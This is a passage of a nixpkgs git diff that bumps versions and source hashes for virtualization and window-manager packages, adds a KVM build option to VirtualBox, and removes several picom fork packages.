+ runcHash = "sha256-N77CU5XiGYIdwQNPFyluXjseTeaYuNJ//OsEUS0g/v0="; + containerdRev = "v1.7.13"; + containerdHash = "sha256-y3CYDZbA2QjIn1vyq/p1F1pAVxQHi/0a6hGWZCRWzyk="; + tiniRev = "v0.19.0"; + tiniHash = "sha256-ZDKu/8yE5G0RYFJdhgmCdN3obJNyRWv6K/Gd17zc1sI="; + }; } diff --git a/pkgs/applications/virtualization/ecs-agent/default.nix b/pkgs/applications/virtualization/ecs-agent/default.nix index 9838ab37c1e20..0edf112d72bc5 100644 --- a/pkgs/applications/virtualization/ecs-agent/default.nix +++ b/pkgs/applications/virtualization/ecs-agent/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "amazon-ecs-agent"; - version = "1.81.0"; + version = "1.82.0"; src = fetchFromGitHub { rev = "v${version}"; owner = "aws"; repo = pname; - hash = "sha256-k2YFxKHXNCKMMyBZ4HSo6bvtEAAp4rnzobDYK3Q5aCY="; + hash = "sha256-joI2jNfH4++mpReVGO9V3Yc7cRpykc3F166WEGZ09HA="; }; vendorHash = null; diff --git a/pkgs/applications/virtualization/firecracker/default.nix b/pkgs/applications/virtualization/firecracker/default.nix index ee95b55a0b90a..d9bab21696233 100644 --- a/pkgs/applications/virtualization/firecracker/default.nix +++ b/pkgs/applications/virtualization/firecracker/default.nix @@ -1,7 +1,7 @@ { fetchurl, lib, stdenv }: let - version = "1.5.0"; + version = "1.6.0"; # nixpkgs-update: no auto update suffix = { @@ -23,8 +23,8 @@ stdenv.mkDerivation { sourceRoot = "."; src = dlbin { - x86_64-linux = "sha256-TzNPWcLDKOv12eJ9PHckdJ7tfdlozPoXj2fbdOzHfAk="; - aarch64-linux = "sha256-cHNMfcoHCBw+BnWx9USny8jyvH97gXCCJW1aKvPXgCs="; + x86_64-linux = "sha256-FflAYvWTcigIchVrAaUgg6IRleEtis6eh6fCqrZ5lb8="; + aarch64-linux = "sha256-4O0kPMl7RbMjszUNql0OQrl/4or/e8ZCHPngqq0CNxk="; }; dontConfigure = true; @@ -54,6 +54,6 @@ stdenv.mkDerivation { mainProgram = "firecracker"; license = licenses.asl20; platforms = [ "x86_64-linux" "aarch64-linux" ]; - maintainers = with maintainers; [ thoughtpolice endocrimes ]; + maintainers = with maintainers; [ thoughtpolice endocrimes qjoly ]; }; } diff --git a/pkgs/applications/virtualization/kraft/default.nix b/pkgs/applications/virtualization/kraft/default.nix index 15ddfe4f53072..ca7384cdd19b1 100644 --- a/pkgs/applications/virtualization/kraft/default.nix +++ b/pkgs/applications/virtualization/kraft/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "kraftkit"; - version = "0.7.3"; + version = "0.7.5"; src = fetchFromGitHub { owner = "unikraft"; repo = "kraftkit"; rev = "v${version}"; - hash = "sha256-61eH2aFue/qJ7Xmu8ueQvsQ5moVpDkHe9p9bywqRwQY="; + hash = "sha256-kuI1RSipPj7e8tsnThAEkL3bpmgAEKSQthubfjtklp0="; }; - vendorHash = "sha256-4e7g79C6BofnPXPCuquIPfGL7C9TMSdmlIq2HSrz3eY="; + vendorHash = "sha256-BPpUBGWzW4jkUgy/2oqvqXBNLmglUVTFA9XuGhUE1zo="; ldflags = [ "-s" diff --git a/pkgs/applications/virtualization/lima/bin.nix b/pkgs/applications/virtualization/lima/bin.nix index 2080ac1e7876e..e02d41f4ddc31 100644 --- a/pkgs/applications/virtualization/lima/bin.nix +++ b/pkgs/applications/virtualization/lima/bin.nix @@ -9,31 +9,31 @@ }: let - version = "0.19.1"; + version = "0.20.1"; dist = { aarch64-darwin = rec { archSuffix = "Darwin-arm64"; url = "https://github.com/lima-vm/lima/releases/download/v${version}/lima-${version}-${archSuffix}.tar.gz"; - sha256 = "0dfcf3a39782baf1c2ea43cf026f8df0321c671d914c105fbb78de507aa8bda4"; + sha256 = "a561a457d3620965e017fc750805dd2fb99db1c21b2f14e8f044dfaa042de76f"; }; x86_64-darwin = rec { archSuffix = "Darwin-x86_64"; url = "https://github.com/lima-vm/lima/releases/download/v${version}/lima-${version}-${archSuffix}.tar.gz"; - sha256 = "ac8827479f66ef1b288b31f164b22f6433faa14c44ce5bbebe09e6e913582479"; + sha256 = "c57d2b317e5488c96b642b05146146a5ec94d0407cccba0f31401f52824d404d"; }; aarch64-linux = rec { archSuffix = "Linux-aarch64"; url = "https://github.com/lima-vm/lima/releases/download/v${version}/lima-${version}-${archSuffix}.tar.gz"; - sha256 = "c55e57ddbefd9988d0f3676bb873bcc6e0f7b3c3d47a1f07599ee151c5198d96"; + sha256 = "1d93b5fc0bde1369fce3029c917934ef57514fa23a715f8fb7fb333c1db9ec41"; }; x86_64-linux = rec { archSuffix = "Linux-x86_64"; url = "https://github.com/lima-vm/lima/releases/download/v${version}/lima-${version}-${archSuffix}.tar.gz"; - sha256 = "7d18b1716aae14bf98d6ea93a703e8877b0c3142f7ba2e87401d47d5d0fe3ff1"; + sha256 = "e7093ca1889d2dab436d9f0e6b53d65336f75cf8ebd54f583085eca462a1fc4b"; }; }; in diff --git a/pkgs/applications/virtualization/lima/default.nix b/pkgs/applications/virtualization/lima/default.nix index 53c6eb55d5640..ae6e6d19ee79a 100644 --- a/pkgs/applications/virtualization/lima/default.nix +++ b/pkgs/applications/virtualization/lima/default.nix @@ -11,16 +11,16 @@ buildGoModule rec { pname = "lima"; - version = "0.19.1"; + version = "0.20.1"; src = fetchFromGitHub { owner = "lima-vm"; repo = pname; rev = "v${version}"; - sha256 = "sha256-0EKVWXNxOnz7j+f1ExkwQW69khhazj2Uz7RBAvwSjmQ="; + sha256 = "sha256-MeTFATaAGRSaUXmC1fv9/gMFWafvkteKVJS6MHaqt8A="; }; - vendorHash = "sha256-SfN4gj5nC9TEVD7aogsUv1um5w5Hvdy1eOSSNjGmnEw="; + vendorHash = "sha256-wd7YiEo4Gy2kHF7aCRoNGlbOQUxqQnKqP3znzMqS2PI="; nativeBuildInputs = [ makeWrapper installShellFiles ] ++ lib.optionals stdenv.isDarwin [ xcbuild.xcrun sigtool ]; diff --git a/pkgs/applications/virtualization/nixpacks/default.nix b/pkgs/applications/virtualization/nixpacks/default.nix index 1fd6a7917a11b..acf7456c76abb 100644 --- a/pkgs/applications/virtualization/nixpacks/default.nix +++ b/pkgs/applications/virtualization/nixpacks/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "nixpacks"; - version = "1.21.1"; + version = "1.21.2"; src = fetchFromGitHub { owner = "railwayapp"; repo = pname; rev = "v${version}"; - sha256 = "sha256-7mW/75Bkss7mtYXfnwKH0YHASv6YAxuM8Ww4ur7VwpU="; + sha256 = "sha256-GY5fwmwr2FAJB9SjTaghlC4GD6ECnect21VInTXseRE="; }; - cargoHash = "sha256-uo9cMVBRv9HEgICIpJomRKRInDXqnDaGCqnKIsBImBM="; + cargoHash = "sha256-kXfNWAloMwpykv6zJS5g6ng8RGn+NBNgYJmUg/I7dBg="; # skip test due FHS dependency doCheck = false; diff --git a/pkgs/applications/virtualization/qemu/default.nix b/pkgs/applications/virtualization/qemu/default.nix index f241a553f8643..e7da99d561f6b 100644 --- a/pkgs/applications/virtualization/qemu/default.nix +++ b/pkgs/applications/virtualization/qemu/default.nix @@ -55,11 +55,11 @@ stdenv.mkDerivation (finalAttrs: { + lib.optionalString hostCpuOnly "-host-cpu-only" + lib.optionalString nixosTestRunner "-for-vm-tests" + lib.optionalString toolsOnly "-utils"; - version = "8.2.1"; + version = "8.2.2"; src = fetchurl { url = "https://download.qemu.org/qemu-${finalAttrs.version}.tar.xz"; - hash = "sha256-hWJ1EVgXX50YfF8itXVVq+PIcPAyXIztEsNMbZh3Kb4="; + hash = "sha256-hHNGwbgsGlSyw49u29hVSe3rF0MLfU09oSYg4pYrxPM="; }; depsBuildBuild = [ buildPackages.stdenv.cc ] diff --git a/pkgs/applications/virtualization/spike/default.nix b/pkgs/applications/virtualization/spike/default.nix index df967339f8f0f..29597860ecc70 100644 --- a/pkgs/applications/virtualization/spike/default.nix +++ b/pkgs/applications/virtualization/spike/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub, dtc, pkgsCross }: +{ lib, stdenv, fetchFromGitHub, fetchpatch, dtc, pkgsCross }: stdenv.mkDerivation rec { pname = "spike"; @@ -11,6 +11,14 @@ stdenv.mkDerivation rec { sha256 = "sha256-4D2Fezej0ioOOupw3kgMT5VLs+/jXQjwvek6v0AVMzI="; }; + patches = [ + (fetchpatch { + name = "fesvr-fix-compilation-with-gcc-13.patch"; + url = "https://github.com/riscv-software-src/riscv-isa-sim/commit/0a7bb5403d0290cea8b2356179d92e4c61ffd51d.patch"; + hash = "sha256-JUMTbGawvLkoOWKkruzLzUFQytVR3wqTlGu/eegRFEE="; + }) + ]; + nativeBuildInputs = [ dtc ]; enableParallelBuilding = true; diff --git a/pkgs/applications/virtualization/tart/default.nix b/pkgs/applications/virtualization/tart/default.nix index 29f84ba691d74..fd46baba6fcee 100644 --- a/pkgs/applications/virtualization/tart/default.nix +++ b/pkgs/applications/virtualization/tart/default.nix @@ -10,11 +10,11 @@ }: stdenvNoCC.mkDerivation (finalAttrs: { pname = "tart"; - version = "2.4.3"; + version = "2.6.0"; src = fetchurl { - url = "https://github.com/cirruslabs/tart/releases/download/${finalAttrs.version}/tart.tar.gz"; - sha256 = "sha256-cXisvF+W/Uxe3Q0ZRhkvF13UWXxbsIQSzG172lzwruo="; + url = "https://github.com/cirruslabs/tart/releases/download/${finalAttrs.version}/tart-arm64.tar.gz"; + hash = "sha256-QtVqgmjYpLAhFibW1DIVWNYiOjHB1X/YY6zRVB+1soA="; }; sourceRoot = "."; diff --git a/pkgs/applications/virtualization/virtualbox/default.nix b/pkgs/applications/virtualization/virtualbox/default.nix index 7b9fc52ca17f0..f226a32596d37 100644 --- a/pkgs/applications/virtualization/virtualbox/default.nix +++ b/pkgs/applications/virtualization/virtualbox/default.nix @@ -1,4 +1,4 @@ -{ config, stdenv, fetchurl, lib, acpica-tools, dev86, pam, libxslt, libxml2, wrapQtAppsHook +{ config, stdenv, fetchurl, fetchpatch, lib, acpica-tools, dev86, pam, libxslt, libxml2, wrapQtAppsHook , libX11, xorgproto, libXext, libXcursor, libXmu, libIDL, SDL2, libcap, libGL, libGLU , libpng, glib, lvm2, libXrandr, libXinerama, libopus, libtpms, qtbase, qtx11extras , qttools, qtsvg, qtwayland, pkg-config, which, docbook_xsl, docbook_xml_dtd_43 @@ -17,9 +17,13 @@ , headless ? false , enable32bitGuests ? true , enableWebService ? false +, enableKvm ? false , extraConfigureFlags ? "" }: +# See https://github.com/cyberus-technology/virtualbox-kvm/issues/12 +assert enableKvm -> !enableHardening; + with lib; let @@ -27,6 +31,10 @@ let # Use maintainers/scripts/update.nix to update the version and all related hashes or # change the hashes in extpack.nix and guest-additions/default.nix as well manually. version = "7.0.14"; + + # The KVM build is not compatible to VirtualBox's kernel modules. So don't export + # modsrc at all. + withModsrc = !enableKvm; in stdenv.mkDerivation { pname = "virtualbox"; inherit version; @@ -36,7 +44,7 @@ in stdenv.mkDerivation { sha256 = "45860d834804a24a163c1bb264a6b1cb802a5bc7ce7e01128072f8d6a4617ca9"; }; - outputs = [ "out" "modsrc" ]; + outputs = [ "out" ] ++ optional withModsrc "modsrc"; nativeBuildInputs = [ pkg-config which docbook_xsl docbook_xml_dtd_43 yasm glslang ] ++ optional (!headless) wrapQtAppsHook; @@ -85,7 +93,13 @@ in stdenv.mkDerivation { patches = optional enableHardening ./hardened.patch # Since VirtualBox 7.0.8, VBoxSDL requires SDL2, but the build framework uses SDL1 - ++ optional (!headless) ./fix-sdl.patch + ++ optionals (!headless) [ ./fix-sdl.patch + # No update patch disables check for update function + # https://bugs.launchpad.net/ubuntu/+source/virtualbox-ose/+bug/272212 + (fetchpatch { + url = "https://salsa.debian.org/pkg-virtualbox-team/virtualbox/-/raw/debian/${version}-dfsg-1/debian/patches/16-no-update.patch"; + hash = "sha256-UJHpuB6QB/BbxJorlqZXUF12lgq8gbLMRHRMsbyqRpY="; + })] ++ [ ./extra_symbols.patch ] # When hardening is enabled, we cannot use wrapQtApp to ensure that VirtualBoxVM sees # the correct environment variables needed for Qt to work, specifically QT_PLUGIN_PATH. @@ -97,7 +111,17 @@ in stdenv.mkDerivation { ++ optional (!headless && enableHardening) (substituteAll { src = ./qt-env-vars.patch; qtPluginPath = "${qtbase.bin}/${qtbase.qtPluginPrefix}:${qtsvg.bin}/${qtbase.qtPluginPrefix}:${qtwayland.bin}/${qtbase.qtPluginPrefix}"; - }) + }) + # While the KVM patch should not break any other behavior if --with-kvm is not specified, + # we don't take any chances and only apply it if people actually want to use KVM support. + ++ optional enableKvm (fetchpatch + (let + patchVersion = "20240226"; + in { + name = "virtualbox-${version}-kvm-dev-${patchVersion}.patch"; + url = "https://github.com/cyberus-technology/virtualbox-kvm/releases/download/dev-${patchVersion}/virtualbox-${version}-kvm-dev-${patchVersion}.patch"; + hash = "sha256-3YT1ZN/TwoNWNb2eqOcPF8GTrVGfOPaPb8vpGoPNISY="; + })) ++ [ ./qt-dependency-paths.patch # https://github.com/NixOS/nixpkgs/issues/123851 @@ -159,6 +183,7 @@ in stdenv.mkDerivation { ${optionalString (!enable32bitGuests) "--disable-vmmraw"} \ ${optionalString enableWebService "--enable-webservice"} \ ${optionalString (open-watcom-bin != null) "--with-ow-dir=${open-watcom-bin}"} \ + ${optionalString (enableKvm) "--with-kvm"} \ ${extraConfigureFlags} \ --disable-kmods sed -e 's@PKG_CONFIG_PATH=.*@PKG_CONFIG_PATH=${libIDL}/lib/pkgconfig:${glib.dev}/lib/pkgconfig ${libIDL}/bin/libIDL-config-2@' \ @@ -214,9 +239,13 @@ in stdenv.mkDerivation { mkdir -p $out/share/icons/hicolor/$size/apps ln -s $libexec/icons/$size/*.png $out/share/icons/hicolor/$size/apps done + # Translation + ln -sv $libexec/nls "$out/share/virtualbox" ''} - cp -rv out/linux.*/${buildType}/bin/src "$modsrc" + ${optionalString withModsrc '' + cp -rv out/linux.*/${buildType}/bin/src "$modsrc" + ''} mkdir -p "$out/share/virtualbox" cp -rv src/VBox/Main/UnattendedTemplates "$out/share/virtualbox" diff --git a/pkgs/applications/virtualization/xen/4.15.nix b/pkgs/applications/virtualization/xen/4.15.nix index 5cc81fc0ab855..d4905088ae1e3 100644 --- a/pkgs/applications/virtualization/xen/4.15.nix +++ b/pkgs/applications/virtualization/xen/4.15.nix @@ -125,7 +125,7 @@ callPackage (import ./generic.nix (rec { ++ optional (withSeabios) "--with-system-seabios=${seabios}/share/seabios" ++ optional (!withInternalSeabios && !withSeabios) "--disable-seabios" - ++ optional (withOVMF) "--with-system-ovmf=${OVMF.fd}/FV/OVMF.fd" + ++ optional (withOVMF) "--with-system-ovmf=${OVMF.firmware}" ++ optional (withInternalOVMF) "--enable-ovmf"; NIX_CFLAGS_COMPILE = toString [ diff --git a/pkgs/applications/window-managers/dk/default.nix b/pkgs/applications/window-managers/dk/default.nix index 761f9029c9eeb..09cddc31a748b 100644 --- a/pkgs/applications/window-managers/dk/default.nix +++ b/pkgs/applications/window-managers/dk/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "dk"; - version = "1.9"; + version = "2.0"; src = fetchFromBitbucket { owner = "natemaia"; repo = "dk"; rev = "v${finalAttrs.version}"; - hash = "sha256-OodD2z9C4oGTK6ynAXRlEZSzzdzIkVjmq5vLdUcht1U="; + hash = "sha256-wuEsfzy4L40tL/Lb5R1jMFa8UAvAqkI3iEd//D7lxGY="; }; buildInputs = [ diff --git a/pkgs/applications/window-managers/eww/default.nix b/pkgs/applications/window-managers/eww/default.nix index 0479f1fe259bf..b245941fc7d49 100644 --- a/pkgs/applications/window-managers/eww/default.nix +++ b/pkgs/applications/window-managers/eww/default.nix @@ -5,32 +5,26 @@ , wrapGAppsHook , gtk3 , librsvg -, withWayland ? false , gtk-layer-shell , stdenv }: rustPlatform.buildRustPackage rec { pname = "eww"; - version = "unstable-2023-08-18"; + version = "0.5.0"; src = fetchFromGitHub { owner = "elkowar"; repo = "eww"; - rev = "a9a35c1804d72ef92e04ee71555bd9e5a08fa17e"; - hash = "sha256-GEysmNDm+olt1WXHzRwb4ZLifkXmeP5+APAN3b81/Og="; + rev = "v${version}"; + hash = "sha256-HBBz1NDtj2TnDK5ghDLRrAOwHXDZlzclvVscYnmKGck="; }; - cargoHash = "sha256-4yeu5AgleZMOLKNynGMd0XuyZxyyZ+RmzNtuJiNPN8g="; + cargoHash = "sha256-IirFE714NZmppLjwbWk6fxcmRXCUFzB4oxOxBvmYu5U="; nativeBuildInputs = [ pkg-config wrapGAppsHook ]; - buildInputs = [ gtk3 librsvg ] ++ lib.optional withWayland gtk-layer-shell; - - buildNoDefaultFeatures = true; - buildFeatures = [ - (if withWayland then "wayland" else "x11") - ]; + buildInputs = [ gtk3 librsvg gtk-layer-shell ]; cargoBuildFlags = [ "--bin" "eww" ]; @@ -43,7 +37,7 @@ rustPlatform.buildRustPackage rec { description = "ElKowars wacky widgets"; homepage = "https://github.com/elkowar/eww"; license = licenses.mit; - maintainers = with maintainers; [ figsoda lom ]; + maintainers = with maintainers; [ figsoda lom coffeeispower ]; mainProgram = "eww"; broken = stdenv.isDarwin; }; diff --git a/pkgs/applications/window-managers/gamescope/default.nix b/pkgs/applications/window-managers/gamescope/default.nix index 2326d686c2a29..a0dd62ab94941 100644 --- a/pkgs/applications/window-managers/gamescope/default.nix +++ b/pkgs/applications/window-managers/gamescope/default.nix @@ -13,6 +13,7 @@ , glm , gbenchmark , libcap +, libavif , SDL2 , pipewire , pixman @@ -26,6 +27,7 @@ , libdisplay-info , lib , makeBinaryWrapper +, nix-update-script , enableExecutable ? true , enableWsi ? true }: @@ -39,14 +41,14 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "gamescope"; - version = "3.13.19"; + version = "3.14.2"; src = fetchFromGitHub { owner = "ValveSoftware"; repo = "gamescope"; rev = "refs/tags/${finalAttrs.version}"; fetchSubmodules = true; - hash = "sha256-WKQgVbuHvTbZnvTU5imV35AKZ4AF0EDsdESBZwVH7+M="; + hash = "sha256-Ym1kl9naAm1MGlxCk32ssvfiOlstHiZPy7Ga8EZegus="; }; patches = [ @@ -108,6 +110,7 @@ stdenv.mkDerivation (finalAttrs: { xorg.libXres xorg.libXtst xorg.libXxf86vm + libavif libdrm libliftoff SDL2 @@ -131,6 +134,8 @@ stdenv.mkDerivation (finalAttrs: { cp -r ${joshShaders}/* $out/share/gamescope/reshade/ ''; + passthru.updateScript = nix-update-script {}; + meta = with lib; { description = "SteamOS session compositing window manager"; homepage = "https://github.com/ValveSoftware/gamescope"; diff --git a/pkgs/applications/window-managers/hyprwm/hyprland/default.nix b/pkgs/applications/window-managers/hyprwm/hyprland/default.nix index 92694db761a47..3db57a6b8dd21 100644 --- a/pkgs/applications/window-managers/hyprwm/hyprland/default.nix +++ b/pkgs/applications/window-managers/hyprwm/hyprland/default.nix @@ -9,6 +9,7 @@ , cairo , git , hyprland-protocols +, hyprlang , jq , libGL , libdrm @@ -31,7 +32,7 @@ , debug ? false , enableXWayland ? true , legacyRenderer ? false -, withSystemd ? true +, withSystemd ? lib.meta.availableOn stdenv.hostPlatform systemd , wrapRuntimeDeps ? true # deprecated flags , nvidiaPatches ? false @@ -43,13 +44,13 @@ assert lib.assertMsg (!enableNvidiaPatches) "The option `enableNvidiaPatches` ha assert lib.assertMsg (!hidpiXWayland) "The option `hidpiXWayland` has been removed. Please refer https://wiki.hyprland.org/Configuring/XWayland"; stdenv.mkDerivation (finalAttrs: { pname = "hyprland" + lib.optionalString debug "-debug"; - version = "0.35.0"; + version = "0.36.0"; src = fetchFromGitHub { owner = "hyprwm"; repo = finalAttrs.pname; rev = "v${finalAttrs.version}"; - hash = "sha256-dU5m6Cd4+WQZal2ICDVf1kww/dNzo1YUWRxWeCctEig="; + hash = "sha256-oZe4k6jtO/0govmERGcbeyvE9EfTvXY5bnyIs6AsL9U="; }; patches = [ @@ -92,6 +93,7 @@ stdenv.mkDerivation (finalAttrs: { cairo git hyprland-protocols + hyprlang libGL libdrm libinput @@ -116,10 +118,10 @@ stdenv.mkDerivation (finalAttrs: { mesonAutoFeatures = "disabled"; - mesonFlags = builtins.concatLists [ - (lib.optional enableXWayland "-Dxwayland=enabled") - (lib.optional legacyRenderer "-Dlegacy_renderer=enabled") - (lib.optional withSystemd "-Dsystemd=enabled") + mesonFlags = [ + (lib.mesonEnable "xwayland" enableXWayland) + (lib.mesonEnable "legacy_renderer" legacyRenderer) + (lib.mesonEnable "systemd" withSystemd) ]; postInstall = '' diff --git a/pkgs/applications/window-managers/hyprwm/hyprland/plugins.nix b/pkgs/applications/window-managers/hyprwm/hyprland/plugins.nix index 00acdef9b7ab6..4992e18b6bee4 100644 --- a/pkgs/applications/window-managers/hyprwm/hyprland/plugins.nix +++ b/pkgs/applications/window-managers/hyprwm/hyprland/plugins.nix @@ -1,36 +1,36 @@ { lib , callPackage , pkg-config -, gcc13Stdenv +, stdenv , hyprland }: let - mkHyprlandPlugin = + mkHyprlandPlugin = hyprland: args@{ pluginName, ... }: - gcc13Stdenv.mkDerivation (args // { + stdenv.mkDerivation (args // { pname = "${pluginName}"; nativeBuildInputs = [ pkg-config ] ++ args.nativeBuildInputs or [ ]; buildInputs = [ hyprland ] ++ hyprland.buildInputs ++ (args.buildInputs or [ ]); meta = args.meta // { - description = (args.meta.description or ""); - longDescription = (args.meta.lonqDescription or "") + + description = args.meta.description or ""; + longDescription = (args.meta.longDescription or "") + "\n\nPlugins can be installed via a plugin entry in the Hyprland NixOS or Home Manager options."; }; }); plugins = { hy3 = { fetchFromGitHub, cmake, hyprland }: - mkHyprlandPlugin rec { + mkHyprlandPlugin hyprland rec { pluginName = "hy3"; - version = "0.34.0"; + version = "unstable-2024-02-23"; src = fetchFromGitHub { owner = "outfoxxed"; repo = "hy3"; - rev = "hl${version}"; - hash = "sha256-Jd1bSwelh7WA8aeYrV+CxxtpsmSITUDruKdNNLHdV7c="; + rev = "029a2001361d2a4cbbe7447968dee5d1b1880298"; + hash = "sha256-8LKCXwNU6wA8o6O7s9T2sLWbYNHaI1tYU4YMjHkNLZQ="; }; nativeBuildInputs = [ cmake ]; @@ -47,5 +47,4 @@ let }; }; in -lib.mapAttrs (name: plugin: callPackage plugin { }) plugins - +(lib.mapAttrs (name: plugin: callPackage plugin { }) plugins) // { inherit mkHyprlandPlugin; } diff --git a/pkgs/applications/window-managers/hyprwm/hyprland/wlroots.nix b/pkgs/applications/window-managers/hyprwm/hyprland/wlroots.nix index a2b2f96769d7e..5c42eff6fc8c6 100644 --- a/pkgs/applications/window-managers/hyprwm/hyprland/wlroots.nix +++ b/pkgs/applications/window-managers/hyprwm/hyprland/wlroots.nix @@ -9,8 +9,8 @@ wlroots.overrideAttrs domain = "gitlab.freedesktop.org"; owner = "wlroots"; repo = "wlroots"; - rev = "00b869c1a96f300a8f25da95d624524895e0ddf2"; - hash = "sha256-5HUTG0p+nCJv3cn73AmFHRZdfRV5AD5N43g8xAePSKM="; + rev = "0cb091f1a2d345f37d2ee445f4ffd04f7f4ec9e5"; + hash = "sha256-Mz6hCtommq7RQfcPnxLINigO4RYSNt23HeJHC6mVmWI="; }; patches = [ ]; # don't inherit old.patches diff --git a/pkgs/applications/window-managers/hyprwm/hyprshade/default.nix b/pkgs/applications/window-managers/hyprwm/hyprshade/default.nix index ea24741ba516b..f76a8063388d6 100644 --- a/pkgs/applications/window-managers/hyprwm/hyprshade/default.nix +++ b/pkgs/applications/window-managers/hyprwm/hyprshade/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "hyprshade"; - version = "0.12.1"; + version = "3.1.0"; format = "pyproject"; src = fetchFromGitHub { owner = "loqusion"; repo = "hyprshade"; rev = "refs/tags/${version}"; - hash = "sha256-xcFX1YApwEN40jPgRT0H/7SiODxXGYVTPUkSZ8OFIWs="; + hash = "sha256-bH+QXvZ+Yaogcp/MYJopiAUvM/imNrSo+cotTzzdlV8="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/window-managers/i3/status-rust.nix b/pkgs/applications/window-managers/i3/status-rust.nix index 06c3de8cd3fa5..74635d1588298 100644 --- a/pkgs/applications/window-managers/i3/status-rust.nix +++ b/pkgs/applications/window-managers/i3/status-rust.nix @@ -16,16 +16,16 @@ rustPlatform.buildRustPackage rec { pname = "i3status-rust"; - version = "0.32.3"; + version = "0.33.0"; src = fetchFromGitHub { owner = "greshake"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-CldVak1BQ4VhRt24hHdog5O3crkQBZBkRWNT7uYUw4Y="; + hash = "sha256-DIEWmXqs4yNIJsBBhH7khOY6RJQ9qRoSTIHN/aeBuA4="; }; - cargoHash = "sha256-gWBmzpgZcsO4u8kXSqtr4FIYvshXpxWbECg/tcyl9Ok="; + cargoHash = "sha256-5946aMSndBkXCY0jjnhPc5x9wFOC1zjJNkFkMFFOuxo="; nativeBuildInputs = [ pkg-config makeWrapper ]; diff --git a/pkgs/applications/window-managers/miriway/default.nix b/pkgs/applications/window-managers/miriway/default.nix index f46d907768ce0..b8528a3741250 100644 --- a/pkgs/applications/window-managers/miriway/default.nix +++ b/pkgs/applications/window-managers/miriway/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "miriway"; - version = "unstable-2024-01-30"; + version = "unstable-2024-02-14"; src = fetchFromGitHub { owner = "Miriway"; repo = "Miriway"; - rev = "429ace6c7d9ea6799a01875ff61f1e554d5eabd9"; - hash = "sha256-8qsDyHbJJMxevMIi6Kde+zr2yJAtFaq19TTcAGXMnrE="; + rev = "ad4d311269dc25789f7412211ddddad383d9700c"; + hash = "sha256-kPrsyrAHvwrktBFITuhpFKyjmedv04ONFhuxiBDlAJA="; }; strictDeps = true; diff --git a/pkgs/applications/window-managers/phosh/phosh-mobile-settings.nix b/pkgs/applications/window-managers/phosh/phosh-mobile-settings.nix index 3d0517386d691..71d051159de1f 100644 --- a/pkgs/applications/window-managers/phosh/phosh-mobile-settings.nix +++ b/pkgs/applications/window-managers/phosh/phosh-mobile-settings.nix @@ -20,12 +20,12 @@ stdenv.mkDerivation rec { pname = "phosh-mobile-settings"; - version = "0.35.1"; + version = "0.36.0"; src = fetchurl { # This tarball includes the meson wrapped subproject 'gmobile'. url = "https://sources.phosh.mobi/releases/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-Kg3efPs0knbJ9b0buIkgqIL1XplcZpGIi0hxJptG6UI="; + hash = "sha256-rktrEBRjOUWGb0Qfcyr03dSxpU2XnC0xHb07x8qc9JU="; }; nativeBuildInputs = [ @@ -63,8 +63,8 @@ stdenv.mkDerivation rec { meta = with lib; { description = "A settings app for mobile specific things"; - homepage = "https://gitlab.gnome.org/guidog/phosh-mobile-settings"; - changelog = "https://gitlab.gnome.org/guidog/phosh-mobile-settings/-/blob/v${version}/debian/changelog"; + homepage = "https://gitlab.gnome.org/World/Phosh/phosh-mobile-settings"; + changelog = "https://gitlab.gnome.org/World/Phosh/phosh-mobile-settings/-/blob/v${version}/debian/changelog"; license = licenses.gpl3Plus; maintainers = with maintainers; [ rvl ]; platforms = platforms.linux; diff --git a/pkgs/applications/window-managers/picom/picom-allusive.nix b/pkgs/applications/window-managers/picom/picom-allusive.nix deleted file mode 100644 index e0086142f1c37..0000000000000 --- a/pkgs/applications/window-managers/picom/picom-allusive.nix +++ /dev/null @@ -1,26 +0,0 @@ -{ picom, lib, fetchFromGitHub, installShellFiles, pcre }: - -picom.overrideAttrs (oldAttrs: rec { - pname = "picom-allusive"; - version = "1.2.5"; - - src = fetchFromGitHub { - owner = "allusive-dev"; - repo = "picom-allusive"; - rev = version; - hash = "sha256-yM4TJjoVs+i33m/u/oWlx1TDKJrgwlfiGu72DOL/tl8="; - }; - - nativeBuildInputs = [ installShellFiles pcre ] ++ oldAttrs.nativeBuildInputs; - - postInstall = '' - installManPage $src/man/picom.1.gz - '' + (lib.optionalString (oldAttrs ? postInstall) oldAttrs.postInstall); - - meta = (builtins.removeAttrs oldAttrs.meta [ "longDescription" ]) // { - description = "A fork of picom featuring improved animations and other features"; - homepage = "https://github.com/allusive-dev/picom-allusive"; - license = with lib.licenses; [ mit mpl20 ]; - maintainers = with lib.maintainers; [ allusive iogamaster ]; - }; -}) diff --git a/pkgs/applications/window-managers/picom/picom-jonaburg.nix b/pkgs/applications/window-managers/picom/picom-jonaburg.nix deleted file mode 100644 index d04cf5f4ecd65..0000000000000 --- a/pkgs/applications/window-managers/picom/picom-jonaburg.nix +++ /dev/null @@ -1,20 +0,0 @@ -{ picom, lib, fetchFromGitHub, pcre }: - -picom.overrideAttrs (oldAttrs: rec { - pname = "picom-jonaburg"; - version = "unstable-2022-03-19"; - src = fetchFromGitHub { - owner = "jonaburg"; - repo = "picom"; - rev = "e3c19cd7d1108d114552267f302548c113278d45"; - sha256 = "sha256-4voCAYd0fzJHQjJo4x3RoWz5l3JJbRvgIXn1Kg6nz6Y="; - }; - - nativeBuildInputs = [ pcre ] ++ oldAttrs.nativeBuildInputs; - - meta = with lib; { - description = "A fork of picom featuring animations and improved rounded corners."; - homepage = "https://github.com/jonaburg/picom"; - maintainers = with maintainers; oldAttrs.meta.maintainers ++ [ michaelBelsanti ]; - }; -}) diff --git a/pkgs/applications/window-managers/picom/picom-next.nix b/pkgs/applications/window-managers/picom/picom-next.nix deleted file mode 100644 index 22c7480880749..0000000000000 --- a/pkgs/applications/window-managers/picom/picom-next.nix +++ /dev/null @@ -1,35 +0,0 @@ -{ lib -, fetchFromGitHub -, libXinerama -, pcre -, pcre2 -, picom -, xcbutil -}: - -picom.overrideAttrs 